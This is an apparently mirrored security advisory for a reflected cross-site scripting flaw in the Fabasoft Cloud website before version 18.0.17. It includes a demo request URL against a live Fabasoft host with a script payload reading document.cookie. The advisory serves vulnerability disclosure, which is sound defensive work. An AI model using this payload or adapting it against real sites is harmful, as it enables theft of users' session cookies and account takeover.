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Edit Report

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2021090001

Below is a copy:

Fabasoft Cloud Website Cross Site Scripting
Class Input Validation Error
Remote  Yes
Authentication is required Yes

Credit Ricardo Sanchez
Vulnerable Fabasoft cloud website before version 18.0.17

Fabasoft cloud website before version 18.0.17 is prone to a reflected
cross-site scripting
vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the
browser of an unsuspecting user in the context of the affected site. This
may allow the attacker to steal cookie-based authentication credentials and
to launch other attacks.

To exploit this issue following steps:
The XSS reflected because the value "ax" is not filter correctly:


Demo Request:

https://de.cloud.fabasoft.com/folio/fscasp/content/bin/fscvext.dll?ax=%3Cscript%3Ealert(document.cookie);%3C/script%3E

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